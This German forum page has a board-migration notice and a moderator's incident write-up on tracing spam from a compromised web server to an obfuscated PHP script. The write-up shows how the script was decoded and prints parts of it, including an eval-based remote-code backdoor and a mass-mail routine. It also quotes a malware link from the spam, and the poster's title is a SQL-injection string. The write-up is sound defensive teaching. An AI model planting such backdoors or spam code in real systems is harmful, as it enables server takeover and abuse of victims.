• Hallo liebe Userinnen und User,

    nach bereits längeren Planungen und Vorbereitungen sind wir nun von vBulletin auf Xenforo umgestiegen. Die Umstellung musste leider aufgrund der Serverprobleme der letzten Tage notgedrungen vorverlegt werden. Das neue Forum ist soweit voll funktionsfähig, allerdings sind noch nicht alle der gewohnten Funktionen vorhanden. Nach Möglichkeit werden wir sie in den nächsten Wochen nachrüsten. Dafür sollte es nun einige der Probleme lösen, die wir in den letzten Tagen, Wochen und Monaten hatten. Auch der Server ist nun potenter als bei unserem alten Hoster, wodurch wir nun langfristig den Tank mit Bytes vollgetankt haben.

    Anfangs mag die neue Boardsoftware etwas ungewohnt sein, aber man findet sich recht schnell ein. Wir wissen, dass ihr alle Gewohnheitstiere seid, aber gebt dem neuen Board eine Chance.
    Sollte etwas der neuen oder auch gewohnten Funktionen unklar sein, könnt ihr den "Wo issn da der Button zu"-Thread im Feedback nutzen. Bugs meldet ihr bitte im Bugtracker, es wird sicher welche geben die uns noch nicht aufgefallen sind. Ich werde das dann versuchen, halbwegs im Startbeitrag übersichtlich zu halten, was an Arbeit noch aussteht.

    Neu ist, dass die Boardsoftware deutlich besser für Mobiltelefone und diverse Endgeräte geeignet ist und nun auch im mobilen Style alle Funktionen verfügbar sind. Am Desktop findet ihr oben rechts sowohl den Umschalter zwischen hellem und dunklem Style. Am Handy ist der Hell-/Dunkelschalter am Ende der Seite. Damit sollte zukünftig jeder sein Board so konfigurieren können, wie es ihm am liebsten ist.


    Die restlichen Funktionen sollten eigentlich soweit wie gewohnt funktionieren. Einfach mal ein wenig damit spielen oder bei Unklarheiten im Thread nachfragen. Viel Spaß im ngb 2.0.

Woher kommt eigentlich Spam? (Analyse eines Hacks)

electric.larry

\''; DROP TABLE user; --
Teammitglied

Registriert
13 Dez. 2014
Beiträge
4.549
Ort
Raum 43
Wer regelmäßig online ist, kennt auch das tägliche Löschen von Spam-Mails, die sich irgendwie in die eigene Mailbox verirrt haben. Durchaus interessant daher vielleicht auch die Frage, wo dieser Spam eigentlich herkommt, wie und warum er verschickt wird und wie wir als kleine Sysadmins unseren Zombie-Server davon wieder befreien können. Davon will ich in dieser kleinen Geschichte ein bisschen erzählen.

Das hier ist ein langweiliger, technischer Text über das Erkennen von auffälligen Mustern in Log Files, das Finden von PHP Scripts die Spam verschicken, Entschlüsselung von encrypted PHP Scripts und über unausgeschlafene Sysadmins die eigentlich nichts mit Postfix zu tun haben wollten.


Kapitel 1. Du hörst von einem Problem

Abhängig davon wie viele Benutzer auf deinem Server sind, dauert es länger oder kürzer bis dein Telefon läutet. Und abhängig davon wie dein Vertrag aussieht läutet es erst am nächsten Morgen oder spät in der Nacht.

In meinem Fall ist es 9 am Abend und die SMS mit dem Text: "Wir können keine Emails verschicken. Bitte schau dir das an!", könnte mir prinzipiell egal sein. In acht von zehn Fällen handelt es sich bei diesem Problem um falsche Outlook Einstellungen. In einem weiteren Fall hat der Anrufer überhaupt keine Internetverbindung. Und in einem letzen, ziemlich seltenen Fall, bist du nichteinmal der Hoster des Anrufers.

Als verantwortungsbewusster Sysadmin-Lehrling schicke ich trotz der späten Stunde eine Test-Mail über den betroffenen Mailserver an eine Adresse bei einem öffentlichen Anbieter wie GMX oder YAHOO, um sicher zu stellen, dass es sich nur um falsche Outlook einstellungen handelt.
Ich kann mich einloggen und der Versand scheint ohne Fehlermeldung zu funktionieren. Bis hier also kein Problem. Eine Minute vergeht. Nach drei Minuten noch immer keine Mail, mein Puls steigt.

Kapitel 2. Das Mailserver Problem identifizieren

Es handelt sich um den Server einer kleinen Firma, ein paar Websites (Apache) und ein Mailserver (Postfix, Courier) für an die hundert virtuelle Accounts. Nachträglich betrachtet, war es keine gute Idee Websites und Mailserver über die selbe IP zu betreiben. Wären die Websites auf einer eigenen IP gelaufen, wär zwar die Webserver IP auf der Blacklist gelandet, der Mailserver wäre davon aber nicht betroffen gewesen.

Um zu sehen was schief läuft, werfe ich einen Blick in das Mailserver Log File:

[src=bash]tail -f /var/log/mail.log[/src]

Das mail.log ist voll mit status=deferred Fehlermeldungen, was darauf hindeutet, dass fremde Mailserver (vorläufig) von unserem Host keine Nachrichten mehr annehmen wollen. Mein Testmail an einen externen YAHOO Account findet sich auch darunter:

[src=bash]Oct 25 22:40:09 www postfix/smtp[14001]: 6FACCADA631: to=, relay=mta6.am0.yahoodns.net[98.136.216.25]:25, delay=1.4, delays=0.03/0.01/1.1/0.19, dsn=4.7.0, status=deferred (host mta6.am0.yahoodns.net[98.136.216.25] said: 421 4.7.0 [GL01] Message from (1.2.3.4) temporarily deferred - 4.16.50. Please refer to http://postmaster.yahoo.com/errors/postmaster-21.html (in reply to MAIL FROM command))
[/src]

Wird eine Nachricht mit einem 400er Error Code deferred kann diese vorläufig nicht zugestellt werden. Der Mailserver versucht nach einiger Zeit die Nachricht wiederholt zuzustellen. Bis zu 72 Stunden wird versucht die Nachricht immer wieder zu senden. Danach bounced die Nachricht und der Absender erhält vom Mailer Daemon eine Information, dass seine Mail nicht zugestellt werden konnte.

Dieser Status muss nicht zwingend ein schlechtes Zeichen sein. Er kann harmlose Gründe haben:

  • Mailbox des Emfpängers ist überfüllt: 452 4.2.2 Over Quota
  • Der Provider wendet Graylisting an: 421 Your address has been graylisted. Try again later.
  • Irgendein technisches Problem beim Gegenüber: 451 Temporary local problem, please try again!

Die Fehlermeldungen und Warnungen der Mailserver dürften nicht sehr klar spezifiziert sein, man findet unterschiedlichste Varianten in den mail.log Files. Eine Liste gängiger Warnungen und Fehlermeldungen im Mailserver Log liefert z. B. Sendgrid.
Oberhalb meiner Test-Mail finden sich viele ähnliche Fehlermeldungen, die eigentlich recht aufschlussreich Informieren warum eine Mail von meinem Server nicht beim Ziel-Host landet. Viele bieten auch Links mit detaillierten Beschreibungen oder Möglichkeiten zu prüfen ob der eigene Server bzw. seine IP auf einer Blacklist gelandet ist und wie sie wieder entfernt werden kann.

[src=bash]Oct 25 22:36:52 www postfix/smtp[28375]: C457F263F81F: host dcmxppheip006.imr.gm.com[198.208.57.248] refused to talk to me: 554-dcmxppheip006.imr.gm.com 554 Connections from this sending hostname yourmailserver.com, IP address of: 1.2.3.4 are being rejected due to low SenderBase Reputation score (below -1). Your SenderBase organization: xxxxx. See http://www.senderbase.org/ for more information.
[/src]

554er Fehlermeldungen können viele Bedeutungen haben, der lesbare Text gibt meist mehr Aufschluss über die Fehlerursache. In diesem Fall haben wir ein unangenehmes Problem, unsere IP Adresse wurde auf der Senderbase Blacklist erfasst. Der Mailserver unseres Empfängers weigert sich deshalb mit unserem Server zu kommunizieren.

[src=bash]Oct 25 22:38:16 www postfix/smtp[4704]: 1EC3DADB05B: to=, relay=inbound.sesllc.com.netsolmail.net[206.188.198.64]:25, delay=1.8, delays=0.01/0.01/0.87/0.96, dsn=5.7.1, status=bounced (host inbound.sesllc.com.netsolmail.net[206.188.198.64] said: 554 5.7.1 The message from () with the subject of (Postal Notification) matches a profile the Internet community may consider spam. Please revise your message before resending. (in reply to end of DATA command)
[/src]

Der Spam Blocker des empfangenden Servers hat den Inhalt unserer Nachricht als Spam identifiziert und verweigert die Zustellung. Ist eine Mail "gebounced" versucht unser Mailserver, im Gegensatz zu Nachrichten mit Status deferred, nicht weiter sie zu versenden.

Ich folge mit

[src=bash]tail -f /var/log/mail.log[/src]

dem Geschehen am Mailserver. Es kommen deferrte oder gebouncte Mails im Sekundentakt bei uns an. Der Puls steigt noch weiter, irgendetwas auf dem Server wurde gehackt und wird aktiv zum Spammen missbraucht.

Schauen wir uns an wie schlimm es ist.

[src=bash]
> qshape deferred

T 5 10 20 40 80 160 320 640 1280 1280+
TOTAL 22 0 0 0 0 0 0 0 0 1 21
xxxxxxxxx.co.at 6 0 0 0 0 0 0 0 0 0 6
yyy.com 1 0 0 0 0 0 0 0 0 0 1
xyxy.at 1 0 0 0 0 0 0 0 0 0 1
yxyxyx.at 1 0 0 0 0 0 0 0 0 0 1
xyyxyxy.ch 1 0 0 0 0 0 0 0 0 1 0
[/src]

Das obige Beispiel zeigt den "normalen" Zustand einer Mail Queue. In diesem Beispiel warten 22 Nachrichten auf eine neuerliche Zustellung. Davon gehen sechs Nachrichten an xxxxx.co.at und jeweils eine an die anderen gelisteten Hosts.

Gibt es ein Problem werden in dieser Queue hunderte Nachrichten auf ihren neuerlichen Versand warten. Dass hier ein paar Mails liegen geblieben sind, ist an sich kein Grund zur Sorge (Greylisting, Server Problem beim Gegenüber, usw.).

Die erste Spalte zeigt die Hostnamen der Empfänger-Server.
Die erste Zeile, TOTAL, informiert darüber, wieviele Mails insgesamt in unserer Mail Queue hängen geblieben sind. Die einzelnen Spalten zeigen wie lange Mails bereits in der Schleife hängen. Mails die gerade erst in der Queue gelandet sind, finden sich weiter links, ältere wandern an den rechten Rand der Spalten.

Steigt die Zahl der Nachrichten in der Linken Spalte rasant an, bedeutet das, dass weiterhin von unserem Server gespamt wird. Sind hingegen die ersten Spalten leer und nur am rechten Rand sind hohe Zahlen zu sehen, so findet aktuell kein Versand mehr statt.

Sind die wartenden Nachrichten auf viele unterschiedliche Emfpänger-Server verteilt (z. B. yyy.com und xyxy.at und xxxxxxx.co.at) haben wir mit hoher Wahrscheinlichkeit einen Spammer an Bord, der wahllos an eine Liste mit Empfängern verschickt..
Warten im Gegenzug dazu nur bei einem der Hosts in der ersten Spalte viele Nachrichten, könnte es auch nur ein Problem mit diesem speziellen Emfpänger geben.

Kapitel 3. Wir haben einen Spammer an Bord

Dein Mailserver ist also ein Zombie und die Mails deiner "echten" Benutzer kommen nicht mehr bei Ihren Empfängern an. Das Mailserver Log ist voll mit Nachrichten mit Status deferred oder bounced.

Bei einem Setup, wie dem oben beschriebenen, fallen mir zwei Möglichkeiten ein was passiert sein könnte:

  1. Das Passwort einer Mailbox ist geleakt oder wurde gebrute-forced und Spam wird darüber verschickt, oder
  2. eine der Websites wurde gehackt und Spam wird über ein oder mehrere PHP Scripts produziert.


Was auch der Grund dafür ist, es sind ein paar Schritte notwendig:

  1. Versand unterbinden, ggF. den Server Daemon stoppen
  2. Log Files für spätere Analyse archivieren
  3. Ursache für den Versand finden und beheben
  4. Server Daemon wieder starten
  5. Eigene IP von den großen Blacklist entfernen lassen
  6. Beten, dass die Ursache wirklich gefunden und das Problem vollständig behoben ist

Solange das Problem und damit der Spamversand nicht behoben sind, ist eine Löschung von den Blacklists sinnlos, da die Server IP innerhalb kürzester Zeit wieder gesperrt werden würde.

3.1 Erste Hilfe

Bevor wir beginnen das Problem zu beheben, ziehen wir zu aller Erst die Notbremse.
Aus den Log Files geht hervor, dass wir bereits auf Senderbase geblacklistet sind. Um keine noch größeren Wellen zu schlagen und weitere Blacklistings zu vermeiden, stoppen wir vorläufig die Web- und Mailserver Daemons. In diesem Fall Apache und Postfix auf einer Ubuntu Box:


[src=bash]
service apache2 stop
service postfix stop
[/src]

oder, abhängig von der installierten Linux Distribution

[src=bash]
/etc/init.d/apache2 stop
/etc/init.d/postfix stop
[/src]

3.2 Die Quelle für den Versand finden

Im letzten Schritt haben wir Mail- und Webserver beendet und im mail.log sollte Ruhe eingekehrt sein. Wir überprüfen das mit:

[src=bash]tail -f /var/log/mail.log[/src]

Es kommen keine neuen Benachrichtigungen mehr bei uns an.

Um zu überprüfen welcher der beiden verdächtigen Dienste für den Versand zuständig ist, starten wir den Mail Dienst wieder an

[src=bash]service postfix start[/src]

und verfolgen das Geschehen im Mailserver Log:

[src=bash]tail -f /var/log/mail.log[/src]

Nichts passiert. Wir warten ein paar Minuten aber es kommt keine neue Flut an ausgehenden Nachrichten. Wir starten also auch den Webserver wieder:

[src=bash]service apache2 start[/src]

Es dauert nur ein paar Sekunden und das Mailserver Log zeigt wie wieder hunderte Nachrichten pro Minute über unseren Server raus geschleudert werden.
Der Schuldige ist gefunden, es ist Apache und somit ein Script auf irgendeiner der gehosteten Websites.

Wäre die Situation hier umgekehrt und Spam wäre verschickt worden, ohne dass der Webserver läuft, hätten wir ein Problem mit einer gehackten Mailbox oder dem Mailserver selbst gehabt.

Wir schalten den Webserver wieder aus um nicht noch mehr Rauschen zu erzeugen:

[src=bash]service apache2 stop[/src]

Wenn es absolut nicht möglich ist, den Webserver während der Reparatur komplett offline zu nehmen, könnten wir alternativ auch nur die PHP mail(..) Funktion in der php.ini (unter Ubuntu im Verzeichnis /etc/php5/apache2/) deaktivieren indem man folgende Zeile hinzufügt und den Apache Dienst neu startet:

[src=bash]In der php.ini:

disabled_functions = mail[/src]

Hierbei sollte man jedoch bedenken, dass nicht nur der Versand für "böse" Scripts dadurch verboten wird, sondern auch normale Kontaktformulare keine Nachrichten versenden können, solange diese Zeile stehen bleibt.

Diese Möglichkeit gibt es offenbar unter PHP 6 nicht mehr in dieser Form (Safe Mode). Hier unter PHP 5 scheint es aber problemlos zu funktionieren.


3.3 Herausfinden welches PHP Script Spam verschickt

Durch die letzten Schritte konnten wir eingrenzen über welchen Service unser Angreifer Spam versendet. Jetzt müssen wir nur noch herausfinden welches Script dafür verantwortlich ist und in welchem Verzeichnis es liegt.

Sehen wir uns dafür die Fehlermeldung von Kapitel 2 nocheinmal genauer an:

[src=bash]Oct 25 22:36:52 www postfix/smtp[28375]: C457F263F81F: host dcmxppheip006.imr.gm.com[198.208.57.248] refused to talk to me: 554-dcmxppheip006.imr.gm.com 554 Connections from this sending hostname yourmailserver.com, IP address of: 1.2.3.4 are being rejected due to low SenderBase Reputation score (below -1). Your SenderBase organization: xxxxx. See http://www.senderbase.org/ for more information.[/src]

Die Fehlermeldung an sich gibt uns keine Auskunft darüber, welcher Benutzer oder welches Script die deferrte Nachricht verschickt hat. Allerdings zeigt sie uns die Queue ID über die wir die gesuchte Nachricht weiter verfolgen können: C457F263F81F.

Wir dursuchen das Mail Log nach dieser ID

[src=bash]cat /var/log/mail.log | grep C457F263F81F[/src]

und werden fündig. Unter vielen anderen Zeilen finden wir den Absender, den Systembenutzer www-data:

[src=bash]Oct 26 07:16:22 www postfix/qmgr[2723]: C457F263F81F: from=www-data@your-servers-hostname.at, size=3530, nrcpt=1 (queue active)[/src]

Der Benutzer www-data gehört zu unserem Apache Service. Alle Scripte die vom Webserver ausgeführt werden laufen unter diesem Benutzer. Das bestätigt zwar unsere Annahme, dass Apache bzw. ein PHP Script für den Versand zuständig ist, wir wissen dadurch aber noch immer nicht welche Datei komprommittiert wurde, bzw. wo sich die Spamschleuder genau versteckt; aber wir sind schon sehr nahe dran.

Wenn eine Nachricht über die PHP mail(..) Funktion verschickt wird, dann passiert das im Namen des System-Benutzers www-data. Seine Mails und die Antworten darauf landen also im Spool Verzeichnis. Unter Ubuntu wäre das z. B. /var/spool/mail/. Dort liegt eine Datei im plaintext Format in der formlos alle eingehenden Mails dieses Benutzers zu finden sind.

Wir öffnen also

[src=bash]/var/spool/mail/www-data[/src]

und suchen dort nach der ID der Nachricht, die wir weiter oben inspiziert haben (C457F263F81F). Im Beispiel hier mit VIM:

[src=bash]vim /var/spool/mail/www-data

:/C457F263F81F[/src]

Wir landen sofort im Header einer E-Mail mit der gesuchten ID C457F263F81F:

[src=bash]Return-Path: www-data@hostname.deines.mailservers

Received: by hostname.deines.mailservers (Postfix, from userid 33)

id C457F263F81F; Sat, 26 Oct 2014 13:25:49 +0200 (CEST)

To: adresse@des-spamempfaengers.com

Subject: Ship Notification

X-PHP-Originating-Script: 33:global66.php(237) : eval()'d code

From: "FedEx Priority Overnight" irgendeine@domain-auf-deinem-server.com

X-Mailer: EircomNetCRCWebmail(http://www.eircom.net/)

Reply-To: "FedEx Priority Overnight" irgendeine@domain-auf-deinem-server.com[/src]

Es ist offensichtlich, dass es sich hier nur um Spam handeln kann. Als Absender wird der Name "FedEx Priority Overnight" mit einer Email Adresse einer Domain, die auf unserem System gehostet wird, genannt. Natürlich wird eine große Firma wie FedEx nicht von einer unserer Domains Emails verschicken und würden wir wirklich für FedEx hosten, dann wüssten wir wahrscheinlich davon.

Die interessanteste Zeile dieses Headers ist aber

[src=bash]X-PHP-Originating-Script: 33:global66.php(237) : eval()'d code[/src]

die uns endlich den Namen der Datei, über die unser Spammer sein Unwesen treibt, verrät: global66.php.

Schauen wir uns auch den Body der gebouncten Mail noch etwas genauer an:

[src=bash]Dear Customer,



Your parcel has arrived at October 20. Courier was unable to deliver the parcel to you.

To receive your parcel, print this label and go to the nearest office.


Click here to get your Shipping Label.[/src]


Darunter folgt noch ein Link auf eine Domain, die wiederum nichts mit FedEx zu tun hat.

http://iphoneads.co.nz/article.php?fdx=LyB+Ji9vzchHtTuUVVOodCvHfCghqggH774+IrdjPG4

Was sich hinter diesem Link verbirgt, sehen wir uns ein wenig später an, man kann aber darauf wetten, dass es sich um einen weiteren komprommittierten Server handelt über den Malware verteilt wird.
Aber kümmern wir uns zuerst um das Spam Script global66.php und versuchen wir herauszufinden, wie diese Datei auf unseren Server kommen konnte und wer sie verwendet.

Um das "böse" Script zu finden könnten wir z. B. alle Webspaces nach dieser Datei durchsuchen (angenommen die Websites liegen unter /var/www/sites/):

[src=bash] find /var/www/sites/ -name "global66.php"[/src]


oder einen Blick in das Apache access.log werfen

[src=bash]cat /var/log/apache2/access.log | grep global66[/src]

um dort einen Eintrag wie diesen zu finden:

[src=bash] 1.2.3.4 - - [26/Oct/2014:14:11:05 +0100] "POST /modules/image/tests/global66.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0"[/src]

Aus dem Log Eintrag ergibt sich, dass unser Angreifer die IP Adresse 1.2.3.4 nutzt und das komprommittierte Script in der Web Root unter /modules/image/tests/global66.php liegt.
Es wäre nun zwar einen Versuch wert, die IP Adresse des Angreifers über iptables zu sperren und seinen Hoster zu kontaktieren. Meist dauert es aber nur wenige Momente, bis ein Zugriff von einer anderen IP stattfindet. Auch ist es eher unwahrscheinlich, dass der Angreifer einen Server benutzt, der auf seinen Namen registriert ist.

Das Script einfach nur zu entfernen wäre mit hoher Wahrscheinlichkeit auch keine sinnvolle Alternative, da wir bislang noch nicht wissen wie das Script überhaupt auf unserem Server gelandet ist und die Schwachstelle wahrscheinlich noch immer ausgenutzt werden kann. Der Apache bleibt also noch offline und wir werfen einen Blick auf das verdächtige PHP File.


Kapitel 4. - Kenne deinen Feind

Wir haben den Schuldigen also gefunden und werfen einen Blick in seinen Code um zu sehen, was er mit unserem System bis jetzt gemacht hat.

4.1 Verschlüsselte PHP Scripts entschlüsseln

Beim Öffnen von global66.php ist sofort ersichtlich, dass wir es mit einer verschlüsselten Datei zu tun haben. Erkennbar nicht nur daran, dass man den Code nicht im Plaintext lesen kann und den furchtbaren Variablen-Namen ($vCG1MBD), sondern auch an den verdächtigen Funktionsaufrufen von eval() und base64_decode/base64_encode.
Der gesamte Code der verschlüsselten Datei findet sich hier.

Eval() wird dafür verwendet, dynamisch generierten Code auszuführen, base64_decode entschluesselt Strings die nach Base64 Verfahren enkodiert sind.
Diese Funktionen deuten nicht zwingend auf ein bösartiges Script hin, kommen aber nur sehr selten in "normalem" Code einer Website vor.

[src=php]
$vCG1MBD = Array('1'=>'Y', '0'=>'P', '3'=>'h', '2'=>'n', '5'=>'s', '4'=>'y', '7'=>'W', '6'=>'T', '9'=>'5', '8'=>'3', 'A'=>'V', 'C'=>'O', 'B'=>'4', 'E'=>'7', 'D'=>'K', 'G'=>'i', 'F'=>'u', 'I'=>'x', 'H'=>'t', 'K'=>'R', 'J'=>'r', 'M'=>'c', 'L'=>'E', 'O'=>'S', 'N'=>'f', 'Q'=>'9', 'P'=>'v', 'S'=>'z', 'R'=>'M', 'U'=>'0', 'T'=>'2', 'W'=>'U', 'V'=>'b', 'Y'=>'A', 'X'=>'j', 'Z'=>'L', 'a'=>'X', 'c'=>'I', 'b'=>'J', 'e'=>'q', 'd'=>'6', 'g'=>'g', 'f'=>'1', 'i'=>'D', 'h'=>'8', 'k'=>'Z', 'j'=>'o', 'm'=>'l', 'l'=>'Q', 'o'=>'d', 'n'=>'p', 'q'=>'N', 'p'=>'B', 's'=>'e', 'r'=>'m', 'u'=>'w', 't'=>'C', 'w'=>'H', 'v'=>'G', 'y'=>'F', 'x'=>'k', 'z'=>'a');

function vKFFPAB($vDKPRKM, $vCCURZZ){$vV3D6QE = ''; for($i=0; $i < strlen($vDKPRKM); $i++){$vV3D6QE .= isset($vCCURZZ[$vDKPRKM[$i]]) ? $vCCURZZ[$vDKPRKM[$i]] : $vDKPRKM[$i];}
return base64_decode($vV3D6QE);}
$v54DEIG = 'trmrDvmSMTAUDtKNWLQ6Ay5G1TQxkOboDOYrbGpnM8qmotgxafp0W'.
'fKVcrqfM8KPVAQ318KnVTBGaOxgbG1gzaqNkTQPkyQnMtgxafqyWmkyWm52WxAq6fKyaUyLKyc2aOxnt25Dt7AT17uj1rySk61Ua'.
'TKm1TQxkOgxafp0WfKVcrqPkvWGaOxnCujbka3notgnCunQtgnnkGYjzaqSkaljbyQl6fqW74bU'.
'sapmcmUnct1rctKNWLQ6Ay5GowmukObo06UGROcnt25DtaK9Mv'.
'WIa8qmVrljD65Dt7ABzaljD65DNlnmVwqmz71gDvmSMTAUDtKNWLQ6Ay5GowmukOboDOYrbGYxafp0W'.
'fKVc2K9MvWGa6UQcXcGDlnEtgnQtrA5MTAnkGYjzaqSkaljbyQl6fqW74bUsapmcmUnDlnEtgmm1'.

//Hier folgt noch eine lange unleserliche Zeichenkette und dann am Ende der Datei:

eval(vKFFPAB($v54DEIG, $vCG1MBD));
[/src]

Hier muss zwischen verschlüsseltem und "verschleiertem" Code unterschieden werden. Bei Zeilen wie "function vKFFPAB()" oder Variablennamen "$v54DEIG handelt es sich nur um unlesbar gemachten Text, der an sich aber normaler, ausführbarer PHP Code ist.

Hingegen der String in der Variable "$v54DEIG" ist einerseits nach Base64 Verfahren enkodiert und anschliessend mit der kurzen Routine "function vKFFPAB()" auf sehr einfache Weise verschlüsselt.
Um den Base64 enkodierten Teil leserlich zu machen, würde ein Aufruf von base64_decode genügen. Damit dies gelingt, muss zuvor aber der String noch entschlüsselt werden.

Um besser zu erkennen was dieser verschleierte (obfuscated) Code macht, fügen wir ein paar Einrückungen und Zeilenschaltungen ein und geben den Variablen lesbare Namen:

[src=php]
//der key mit dem der code verschluesselt wurde

$variable_1 = Array('1'=>'Y', '0'=>'P', '3'=>'h', '2'=>'n',
'5'=>'s', '4'=>'y', '7'=>'W', '6'=>'T', '9'=>'5', '8'=>'3',
'A'=>'V', 'C'=>'O', 'B'=>'4', 'E'=>'7', 'D'=>'K', 'G'=>'i',
'F'=>'u', 'I'=>'x', 'H'=>'t', 'K'=>'R', 'J'=>'r', 'M'=>'c',
'L'=>'E', 'O'=>'S', 'N'=>'f', 'Q'=>'9', 'P'=>'v', 'S'=>'z',
'R'=>'M', 'U'=>'0', 'T'=>'2', 'W'=>'U', 'V'=>'b', 'Y'=>'A',
'X'=>'j', 'Z'=>'L', 'a'=>'X', 'c'=>'I', 'b'=>'J', 'e'=>'q',
'd'=>'6', 'g'=>'g', 'f'=>'1', 'i'=>'D', 'h'=>'8', 'k'=>'Z',
'j'=>'o', 'm'=>'l', 'l'=>'Q', 'o'=>'d', 'n'=>'p', 'q'=>'N',
'p'=>'B', 's'=>'e', 'r'=>'m', 'u'=>'w', 't'=>'C', 'w'=>'H',
'v'=>'G', 'y'=>'F', 'x'=>'k', 'z'=>'a');

//die funktion zum entschluesseln des strings
//Parameter 1 ist der Base 64 enkodierte und mit obigem Key verschlüsselte Quelltext
//Parameter 2 ist der Array der den Key zum Entschlüsseln enthaelt.

function entschluesseln($strEncodedText, $lstKey)
{
//Enthält am Ende des For Loops den unverschlüsselten String
//in Base 64 enkodierter Form.

$variable_2 = '';

//Schleife durchläuft den verschlüsselten Text und ersetzt
//einzelne Zeichen im Text, mit den entsprechenden Zeichen
//des Keys.

for($i = 0; $i < strlen($strEncodedText); $i++)
{
$variable_2 .= isset( $lstKey[$strEncodedText[$i]]) ? $lstKey[$strEncodedText[$i]] : $strEncodedText[$i];
}

//$variable2 enthält hier den entschlüsselten Quellcode in
//Base 64 Enkodierter Form. Die Funktion base64_decode
//errechnet daraus den lesbaren Quelltext, der von dieser
//Funktion zurückgegeben wird.

return base64_decode($variable_2);
}

//der verschlüsselte Quelltext im Base 64 Format.

$variable_3 = 'trmrDvmSMTAUDtKNWLQ6Ay5G1TQxkOboDOYrbGpnM8qmotgxafp0W'.
'fKVcrqfM8KPVAQ318KnVTBGaOxgbG1gzaqNkTQPkyQnMtgxafqyWmkyWm52WxAq6fKyaUyLKyc2aOxnt25Dt7AT17uj1rySk61Ua'
//Hier folgt noch eine lange unleserliche Zeichenkette und dann am Ende der Datei:

//Hier wird die Funktion zum entschlüsseln des Quellcodes
//aufgerufen und danach mit eval() der entschlüsselte
//Programmcode ausgeführt

eval(entschluesseln($variable_3, $variable_1) );
[/src]

Am Beginn des Codes wird der Key für die Verschlüsselung in $variable_1 geschrieben. Danach folgt die Definition der Entschlüsselungs-Routine entschluesseln(), die als Parameter den verschlüsselten Code und den Array mit unserem Key akzeptiert.
In $variable_3 wird der "böse" Quellcode geschrieben. Dieser wurde zuvor von unserem Angreifer in Base64 enkodiert und anschliessend mit dem Key aus $variable_1 verschlüsselt.
Unsere Routine entschluesseln() verwendet erst den Key um einzelne Zeichen im verschlüsselten String zu tauschen und dann die funktion base64_decode() um den Base64 enkodierten String in lesbaren Plaintext zurückzugeben.

Die Routine zum Entschlüsseln des bösartigen Codes ist nun klar lesbar, allerdings ist noch immer nicht bekannt, was im langen verschlüsselten String, der in $variable3 gespeichert wird, steht. Zum Glück liefert uns das Script den Code zur Entschlüsselung gleich mit. Das sollten wir für unsere Zwecke nutzen.

Schauen wir uns den relevanten Code dafür nocheinmal an:

[src=php]//Hier wird die Funktion zum entschlüsseln des Quellcodes
//aufgerufen und danach mit eval() der entschlüsselte
//Programmcode ausgeführt
eval(entschluesseln($variable_3, $variable_1) );[/src]

Nachdem wir den Aufruf zu eval() mit print() getauscht haben, können wir das Script ausführen und seine Ausgabe in eine neue Datei umleiten. Diese enthält am Ende den gesamten Quelltext in unverschlüsselter Form.

[src=bash]php ./global66.php > global66_unverschluesselt.php[/src]

Die Datei global66_unverschluesselt.php enthält nun den gesamten Quelltext unseres Angreifers im Plaintext inklusive ein paar Kommentaren in russischer Sprache. Kurz gesagt handelt es sich um ein sehr kompaktes Script zum Versenden von Massen-Mails. Eine PHP Shell ist in diesem Fall aber nicht dabei.
Wir sehen uns jetzt nur ein paar interessante Teile davon an, der komplette Code ist hier zu finden.


4.2. Analyse des Spam Scripts

Die Kommunikation zwischen dem gehackten Host und dem Angreifer läuft über herkömmliche HTTP POSTs, die zB über einen Browser oder eigens dafür geschriebenen Client an den komprommittierten Server geschickt werden.

Interessant ist, dass der Angreifer versucht zu verhindern, dass ein anderer Spammer seinen gehackten Server verwendet. Er erlaubt daher nur Zugriffe aus den Rechenzentren in denen sein Command and Control Server gehostet wird:

[src=php]function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");

foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}

return FALSE;
}[/src]

Da eine ausgereifte PHP Shell, wie man sie bei solchen Angriffen oft findet, fehlt, bietet das Script die Möglichkeit eine "Custom Action", also beliebigen PHP Code, an den infizierten Server zu senden. Zur Ausführung wird wieder, wie bereits zuvor erwähnt, die PHP eval() Funktion genutzt.

[src=php]if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}[/src]

Neben einigen weiteren Funktionen findet sich der eigentliche Code zum Versand der Mails sowie Attachments die über HTTP GET/POST vom Angreifer an den Server geschickt werden.

[src=php]function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";

$un = strtoupper(uniqid(time()));

$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";

$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";

$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";

$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";

if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}

if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}[/src]

Das Spam Script selbst scheint keinen Aufschluss darüber zu geben, was auf unserem Server dadurch verändert hätte worden sein können. Da der Angreifer jedoch über das Script auch beliebigen PHP Code am Server ausführen hätte können, durchsuche ich alle Verzeichnisse, die vom Benutzer www-data beschrieben werden hätten können.
Ich suche einerseits nach PHP Dateien die eval( oder base64_decode enthalten, andererseits anhand der Timestamps nach beliebigen Dateien, die erstellt/bearbeitet wurden, seit global66.php auf unserem Server liegt.
Zu meiner Freude, scheint es keine weiteren bösartigen Scripts zu geben.

